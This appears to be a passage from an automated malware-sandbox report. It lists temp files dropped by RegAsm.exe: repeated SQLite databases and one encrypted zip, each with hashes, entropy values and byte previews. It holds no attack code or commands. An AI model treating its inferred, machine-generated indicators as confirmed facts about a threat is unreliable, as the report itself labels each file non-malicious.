File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA256.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA27F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA652.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAA08.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAC54.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAE56.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB201.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBC4F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC1AF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC2A3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC4DF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC756.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD407.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD64F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD916.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpDC8Ctmp.zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2992194
Entropy (8bit):	7.999201276818332
Encrypted:	true
SSDEEP:	49152:hy5BaZCh0scH1nwZbnTup3vPfT61sC0GxBqtOPmx6A5vNwGtn1ZD+KDHvRSvJSZ:hyD0H9GbnTupfPf2jhNYvNwGt1kKyy
MD5:	A0B613A5F726E687A336B190B5ED2E1B
SHA1:	F9031064C1A8C50F795E726A95E5F29F5524B798
SHA-256:	AD676C1C422BBE7A026E92BF9E54459D8F21960916379E4C203566FD844AE5F7
SHA-512:	308B85BEF04B2F102BB60AB427F2F9C615087B0922623B4D729A7A8806E078C66E4E12B895DC6691A91F0FA9C1AA2D600821FC1E0DDF7366D529CF8C14E711C2
Malicious:	false
Preview:	PK...........Y.1..\|...8.......LICENSE]R.o.0..._q....e...`..$..S.cH...b.;c..w.h.NB.;....\..\c.`.K..et...]s._?...\|....k..G.."N:?0V............q..h........t.x..D....g;.\..X...G..AN...C....R...[.C.....Z.L'.QG.;....Ca..n......u.........;?E.m..k.#.74.......... .C.)......@.v.u....]..#......9'...O.[.}.......y...).x.(P....G'...4.Hi..cd3./.D............#G.;c....mg/.;..O{.{>........}.{{..y1...;#...wu.g?.\|..\|@...J..k...R.g..KX...E.[i.jc.'4/....x....X& ~.ZT.(.d^fR`O.i.Y....q.P.g..4.j....J...r..5..Qf...... .......t.q..F...H.D.B.+.,"..y@V.x...5.2.b\|..5.T.;-....*[.l>.T..3q.BSi.e.....I.[.Q4...:......'5R.d#U..X&.R....D.\..Yi.'....5..^!.(.5\|...P.... ,.....e..:....PK...........YJ~..i...........manifest-pwa.json=.K..0.E..=.L.;w+. E.......Tq.{..D!%...........)......n....{M.../.. .JR.n......?...9../K.i....\|w...PK...........Y...7...B.......manifest.fingerprint.....0......._....@...jEW.id...qx.9.S-W.5.X..B.x.@..PK...........Y~8.............manifest.json.V[s.H.~..../..L.T@&O.YG.h

C:\Users\user\AppData\Local\Temp\tmpE415.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE744.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEC43.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpECBB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF211.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF63D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF64D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFB4F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBC5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
